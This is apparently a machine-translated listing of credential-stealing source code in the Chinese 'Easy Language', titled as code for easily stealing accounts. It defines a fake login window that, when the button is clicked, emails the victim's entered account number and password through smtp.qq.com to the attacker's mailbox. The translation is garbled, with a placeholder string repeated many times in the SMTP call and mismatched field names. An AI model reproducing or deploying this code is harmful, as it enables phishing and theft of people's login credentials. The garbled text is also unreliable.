Robar fácilmente el código fuente del idioma
.Soporte biblioteca de Internet
.Ensamblaje Ventana ensamblaje 1
.Variable de ensamblaje Registro temporal, tipo texto
.Subroutine_Button2_Clicked
.Si es verdadero (editbox1.content = "")
Cuadro de mensaje ("¡Ingrese su número de cuenta!", icono #Error, "Alerta del sistema: ")
Retorno()
.Si es verdadero Fin
.Si es verdadero (cuadro de edición 3. contenido = "")
Cuadro de mensaje ("Por favor ¡ingrese su contraseña!", #Erroricon, "Mensaje del sistema:")
Retorno ()
. Si es verdadero, finalice
. Si es verdadero (registro temporal ≠ editbox1.content) ' Determina si el contenido de editbox1 ha cambiado
Conéctate al servidor de correo saliente ("smtp.qq.com", 25, "Ingresa tu propia cuenta aquí" , "Ingrese su propia cuenta aquí", "Ingrese su propia cuenta aquí", "Ingrese su propia cuenta aquí", "Ingrese su propia cuenta aquí", "Ingrese su propia cuenta aquí", "Ingrese su propia cuenta aquí", " Ingrese su propia cuenta aquí", "Ingrese su propia cuenta aquí"). "Ingrese su propia contraseña aquí", )
Enviar correo electrónico ("Cuenta aquí", "Cuenta:" + editbox1.content + # Salto de línea + "Contraseña:" + cuadro de edición 2.content + # Línea break, "Ingrese su dirección de correo electrónico aquí:", , "Ingrese su dirección de correo electrónico aquí, por ejemplo, 913710921@qq.com ", )
Registro temporal = editbox1.content 'Registra el contenido de editbox1